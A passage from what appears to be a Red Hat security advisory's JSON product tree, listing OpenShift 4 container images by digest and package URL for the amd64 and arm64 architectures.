"name": "registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"product_id": "registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-cluster-node-tuning-rhel9-operator@sha256%3Afdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator\u0026tag=1781181888"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"product": {
"name": "registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"product_id": "registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/driver-toolkit-rhel9@sha256%3A3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/driver-toolkit-rhel9\u0026tag=1781291207"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"product_id": "registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-hypershift-rhel9@sha256%3A640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-hypershift-rhel9\u0026tag=1781660144"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"product_id": "registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-ironic-rhel9@sha256%3Ac731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-ironic-rhel9\u0026tag=1781523440"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"product_id": "registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-ironic-agent-rhel9@sha256%3A7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-ironic-agent-rhel9\u0026tag=1781177483"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"product_id": "registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-ironic-machine-os-downloader-rhel9@sha256%3Aad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9\u0026tag=1781297305"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"product_id": "registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-monitoring-plugin-rhel9@sha256%3A0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9\u0026tag=1781695012"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"product_id": "registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-networking-console-plugin-rhel9@sha256%3A8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9\u0026tag=1781694981"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"product": {
"name": "registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"product_id": "registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/oc-mirror-plugin-rhel9@sha256%3A8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/oc-mirror-plugin-rhel9\u0026tag=1781196942"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"product_id": "registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-console-rhel9@sha256%3A81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-console-rhel9\u0026tag=1781688743"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"product_id": "registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-haproxy-router-rhel9@sha256%3A1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-haproxy-router-rhel9\u0026tag=1781639027"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"product_id": "registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-tests-rhel9@sha256%3A44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-tests-rhel9\u0026tag=1781197253"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"product_id": "registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-agent-installer-api-server-rhel9@sha256%3Ab3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9\u0026tag=1781687639"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"product_id": "registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-agent-installer-utils-rhel9@sha256%3A06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9\u0026tag=1781626550"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"product_id": "registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-cluster-ingress-rhel9-operator@sha256%3A5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator\u0026tag=1781638907"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"product_id": "registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-cluster-kube-apiserver-rhel9-operator@sha256%3A49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator\u0026tag=1781133392"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"product_id": "registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-insights-rhel9-operator@sha256%3A3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-insights-rhel9-operator\u0026tag=1781270924"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"product_id": "registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-machine-config-rhel9-operator@sha256%3A387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-machine-config-rhel9-operator\u0026tag=1781694073"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"product": {
"name": "registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"product_id": "registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/network-tools-rhel9@sha256%3A86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/network-tools-rhel9\u0026tag=1781572534"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"product_id": "registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-openshift-apiserver-rhel9@sha256%3A6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9\u0026tag=1781196883"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"product_id": "registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-ovn-kubernetes-rhel9@sha256%3A9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9\u0026tag=1781567010"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"product_id": "registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-tools-rhel9@sha256%3A5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-tools-rhel9\u0026tag=1781178474"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"product": {
"name": "registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"product_id": "registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-ovn-kubernetes-microshift-rhel9@sha256%3Ababce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153?arch=amd64\u0026repository_url=registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9\u0026tag=1781566906"
}
}
}
],
"category": "architecture",
"name": "amd64"
},
{
"branches": [
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"product_id": "registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-azure-file-csi-driver-rhel9@sha256%3Adcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9\u0026tag=1781536224"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"product": {
"name": "registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"product_id": "registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/azure-kms-encryption-provider-rhel9@sha256%3A979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9\u0026tag=1781111957"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"product_id": "registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-cluster-node-tuning-rhel9-operator@sha256%3Aa1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator\u0026tag=1781181888"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"product": {
"name": "registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"product_id": "registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/driver-toolkit-rhel9@sha256%3Abf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/driver-toolkit-rhel9\u0026tag=1781291207"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"product_id": "registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-hypershift-rhel9@sha256%3Ac7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-hypershift-rhel9\u0026tag=1781660144"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"product_id": "registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-ironic-rhel9@sha256%3Adcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-ironic-rhel9\u0026tag=1781523440"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"product_id": "registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-ironic-agent-rhel9@sha256%3A7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-ironic-agent-rhel9\u0026tag=1781177483"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"product_id": "registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-ironic-machine-os-downloader-rhel9@sha256%3Afe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9\u0026tag=1781297305"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"product_id": "registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-monitoring-plugin-rhel9@sha256%3A9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9\u0026tag=1781695012"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"product_id": "registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-networking-console-plugin-rhel9@sha256%3A1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9\u0026tag=1781694981"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"product": {
"name": "registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"product_id": "registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/oc-mirror-plugin-rhel9@sha256%3A06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/oc-mirror-plugin-rhel9\u0026tag=1781196942"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"product_id": "registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"product_identification_helper": {
